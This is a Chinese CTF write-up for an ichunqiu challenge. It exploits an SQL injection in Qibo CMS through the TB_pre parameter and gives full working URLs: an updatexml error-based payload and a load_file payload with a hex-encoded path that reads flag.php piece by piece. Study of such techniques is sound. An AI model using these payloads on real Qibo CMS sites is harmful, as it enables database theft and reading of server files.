https://www.ichunqiu.com/battalion?t=1&r=0
这道题刚做的时候是没有头绪的,看了一眼writeup
,得知要通过网站下方的备案记录来查询除网站相关信息,并进而得知该网站所使用的的cms
,但是我照着做的时候却查不出来结果,ICP/IP
官网返回说无匹配信息,于是我就参考writeup
直接搜索了齐博CMS的相关漏洞,我使用的是这一个:
http://0day5.com/archives/3300/
一个SQL
注入漏洞,我的payload
是这样构造的:
http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?
file=listbbs&uid=1&id=1&TB_pre=
(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(
select user()
),0x7e),1)))a%23
select user()
就是我们想要查询的信息
因为源代码中的查询语句是这样的:
$query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads
T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid' ORDER BY
T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows");
因此我们要把$TB_pre
构造成一个表,所以我的payload
就构造成了上面的样子
然后就是得到数据库名、表名、列名,进而查询username
、password
字段,但是password
字段是md 5
加密过后的字符串,我试了很多解密网站都解不出来,最后想到利用上道题的方法load_file
,直接获取flag
所在文件的内容,猜测为/var/www/html/flag.php
,不行就多试几个,绝对路径题目给出来了:
我们如果直接写成load_file('/var/www/html/flag.php')
是不行的,因为'
会被转义:
自然而然地,就会想到用16进制来表示这个字符串:
0x2F7661722F7777772F68746D6C2F666C61672E706870
构造payload
如下:
http://0fcda0b05d364ae2919c79c0386ebb055c1719c2b26941cc.game.ichunqiu.com/blog/index.php?
file=listbbs&uid=1&id=1&TB_pre=(select * from information_schema.tables where 1=2 or (updatexml(1,concat(0x7e,(
select mid((select load_file(0x2F7661722F7777772F68746D6C2F666C61672E706870)),1,10)
),0x7e),1)))a%23
使用mid
函数截取字符串
更改mid
的后两个参数,继续往后截,就能得到flag
了